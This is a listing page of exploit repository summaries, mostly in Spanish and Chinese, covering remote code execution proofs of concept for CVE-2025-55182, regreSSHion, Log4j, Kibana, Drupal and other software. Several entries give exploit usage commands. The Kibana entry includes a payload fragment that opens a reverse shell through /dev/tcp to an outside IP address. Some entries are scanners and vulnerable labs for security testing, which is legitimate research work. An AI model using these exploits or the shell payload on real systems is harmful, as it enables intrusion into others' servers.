study-CVE-2025-55182

Estudio de CVE-2025-55182 Repositorio para aprender sobre la vulnerabilidad de Remote Code Execution RCE en React Server Components. 🔴 Advertencia Úselo únicamente con fines educativos. Usarlo contra sistemas de terceros sin permiso es ilegal. 📋 Resumen de la vulnerabilidad Elemento| Contenido...

POC-CVE-2025-55182

Escáner de CVE-2025-55182 Herramienta sencilla de línea de comandos para detectar y explotar CVE-2025-55182 RCE en React Server Components en aplicaciones Next.js. Instalación chmod +x scanner.sh Uso Scan with default command id ./scanner.sh -d example.com Execute custom command ./scanner.sh -d...

CVE-2025-55184

PoC de React2Shell Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de RCE React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una vulnerabilidad de ejecución...

CVE-2018-8172

CVE-2018-8172 微软 Visual Studio CVE-2018-8172 远程代码执行漏洞 http://darkcert.com/2018/08/microsoft-visual-studio-remote-code-execution-cve-2018-8172/ https://twitter.com/SyFi2k...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 EDIT: Oracle acaba de revelar una nueva vulnerabilidad CVE-2025-61884, el script de detección para esa vulnerabilidad se puede encontrar en este repositorio o originalmente aquí:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Tal como se cita en e...

CVE-2023-21608

CVE-2023-21608 Discord Server Este error era un uso después de liberación Use after Free que fue causado durante la operación resetForm al manejar referencias de memoria de objetos. Blog Adobe Acrobat Reader - resetForm - CAgg UaF - Explotación de RCE - CVE-2023-21608 Aviso CVE-2023-21608 Demo...

CVE-2021-22205

CVE-2021-22205 Pocsuite3 For CVE-2021-22205,未授权RCE。...

CVE-2025-27363

CVE-2025-27363 en Chrome 113 Nota: En Chrome, esto no es una vulnerabilidad nueva, fue parcheada commit acumulativo en marzo de 2023. Este PoC solo apunta a Chrome en modo headless. Sin embargo, creo que es una lectura interesante si quieres explorar algunos internos y ver la explotación en...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...

CVE-2017-8464-EXP

CVE-2017-8464-EXP Soporta x86 y x64 Solo para pruebas Archivo LNK de: https://github.com/rapid7/metasploit-framework/pull/8767 Gracias a ykoster Pequeño cambio, reemplaza el archivo dll, corrige el error de bloqueo de explorer.exe. ykoster ha corregido este error POC: x86: x64: Si puedes determin...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE Scanner Extensión de Burp Suite Una extensión de Burp Suite de alta fidelidad para detectar la vulnerabilidad Ejecución remota de código en Next.js / React Server Components RSC CVE-2025-55182 y CVE-2025-66478. Esta extensión implementa la lógica de detección descubierta por el...

CVE-2020-9484

CVE-2020-9484 PoC para CVE-2020-9484 PoC para CVE-2020-9484 Apache Tomcat RCE por deserialización CVE-2020-9484 Explorar la documentación » Comenzando 1. Clona este repositorio, luego podrás usar CVE-2020-9484 y modificar el código fuente si es necesario. 2. Descarga ysoserial jar 3. Coloca...

CVE-2024-6387

CVE-2024-6387 regreSSHion Script de Python de prueba de concepto para el exploit regreSSHion. Versión 0.2.1 build POC Instalación git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h Uso 🔒 CVE-2024-6387 regreSSHion remote...

AirBorne-PoC

AirBorne PoC Framework – Edición Elite RCE Framework PoC completo para CVE-2025-24252 y CVE-2025-24132 Por ekomsSavior | AirBorne es un framework combinado de prueba de concepto PoC que apunta a dos vulnerabilidades graves en el servicio AirPlay de Apple. Incluye un desencadenador de caída comple...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524: Bypass de autenticación y RCE en Apache Superset Apache Superset, una herramienta de código abierto ampliamente utilizada para la visualización y exploración de datos, presenta posibles debilidades de seguridad que podrían provocar la omisión de autenticación y la ejecución remota...

RCE_CVE-2024-7954

RCECVE-2024-7954 Descripción: El plugin porteplume utilizado por SPIP anterior a 4.30-alpha2, 4.2.13 y 4.1.16 es vulnerable a una vulnerabilidad de ejecución de código arbitrario. Un atacante remoto no autenticado puede ejecutar PHP arbitrario como el usuario de SPIP enviando una solicitud HTTP...

CVE-2021-44228-Log4j-lookup-Rce

0x01、环境 Jdk7u21（随便版本都可以） 影响版本：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainString args...

CVE-2020-17530

CVE-2020-17530 s2-061 prueba de concepto:...

CVE-2021-40964

Tiny File Manager = 2.4.6 - 远程代码执行（需认证） 🚨 关于漏洞利用 这是一个基于 Bash 的需认证 远程代码执行 RCE 漏洞利用工具，针对 Tiny File Manager 版本 = 2.4.6，受 CVE-2021-40964 影响。 该脚本利用： 弱上传验证与 webroot 泄露， 任意文件上传漏洞，进而实现 PHP 代码执行。 📌 详细信息 漏洞标题： Tiny File Manager = 2.4.6 - 远程代码执行 RCE CVE： CVE-2021-40964 作者： Z3R0 0x30 受影响版本： ≤ 2.4.6 是否需要认证：...

DrupalCVE-2018-7602

Drupal 远程代码执行漏洞（CVE-2018-7602） 影响软件：drupal 方式：对URL中的进行编码两次，绕过sanitize函数过滤 效果：任意命令执行 漏洞环境 执行如下命令启动drupal 7.57的环境： docker-compose up -d 环境启动后，访问 http://your-ip:8081/ 将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。 漏洞复现 参考pimps/CVE-2018-7600的PoC。 如下图所示，执行以下命令即可复现该漏洞。示例命令为...